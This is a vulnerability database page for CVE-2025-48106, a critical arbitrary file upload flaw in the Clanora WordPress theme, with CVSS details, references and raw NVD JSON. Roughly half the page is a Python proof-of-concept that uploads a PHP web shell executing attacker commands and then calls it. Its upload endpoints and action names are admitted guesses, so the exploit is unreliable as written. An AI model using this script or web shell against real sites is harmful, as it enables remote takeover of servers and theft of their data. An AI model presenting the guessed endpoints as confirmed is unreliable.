CVE-2025-48106

Description

Unrestricted Upload of File with Dangerous Type vulnerability in CMSSuperHeroes Clanora clanora allows Using Malicious Files.This issue affects Clanora: from n/a through < 1.3.1.

CVSS Details

CVSS Score

10.0

Severity

CRITICAL

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

CMSSuperHeroes Clanora < 1.3.1

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

# CVE-2025-48106 - Clanora Theme Arbitrary File Upload PoC
# Author: Security Research based on Patchstack disclosure
# Affected: CMSSuperHeroes Clanora Theme < 1.3.1

import requests
import re

TARGET_URL = "http://target-wordpress-site.com"
SHELL_NAME = "shell.php"

# Step 1: Create a simple PHP web shell payload
php_shell_content = b"""<?php
if(isset($_GET['cmd'])){
    system($_GET['cmd']);
}
?>"""

# Step 2: Upload malicious PHP file via the vulnerable theme upload endpoint
# The Clanora theme typically exposes file upload functionality
# that lacks proper file type validation
upload_url = f"{TARGET_URL}/wp-content/themes/clanora/upload-handler.php"
# Alternative endpoints that may be vulnerable:
# /wp-admin/admin-ajax.php (via theme AJAX action)
# /wp-content/themes/clanora/includes/upload.php

files = {
    'file': (SHELL_NAME, php_shell_content, 'application/x-php')
}

data = {
    'action': 'clanora_upload',  # theme-specific upload action
    'nonce': '',  # may need to be obtained or left empty if not validated
}

print(f"[*] Attempting to upload malicious file to {TARGET_URL}")
response = requests.post(upload_url, files=files, data=data, verify=False)

if response.status_code == 200:
    print(f"[+] Upload response: {response.text}")
    # Step 3: Access the uploaded shell
    shell_url = f"{TARGET_URL}/wp-content/uploads/{SHELL_NAME}"
    print(f"[*] Attempting to access shell at {shell_url}")
    shell_response = requests.get(f"{shell_url}?cmd=id")
    if shell_response.status_code == 200 and "uid=" in shell_response.text:
        print(f"[+] Shell active! Command output: {shell_response.text}")
    else:
        print("[-] Shell not accessible, try alternative upload paths")
else:
    print(f"[-] Upload failed with status code: {response.status_code}")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-48106
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-48106
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-48106/
[4] VulDB https://vuldb.com/cve/CVE-2025-48106
[5] https://patchstack.com/database/Wordpress/Theme/clanora/vulnerability/wordpress-clanora-theme-1-3-1-arbitrary-file-upload-vulnerability?_s_id=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-48106", "sourceIdentifier": "[email protected]", "published": "2025-10-22T15:15:34.880", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Unrestricted Upload of File with Dangerous Type vulnerability in CMSSuperHeroes Clanora clanora allows Using Malicious Files.This issue affects Clanora: from n/a through < 1.3.1."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "baseScore": 10.0, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 6.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-434"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Theme/clanora/vulnerability/wordpress-clanora-theme-1-3-1-arbitrary-file-upload-vulnerability?_s_id=cve", "source": "[email protected]"}]}}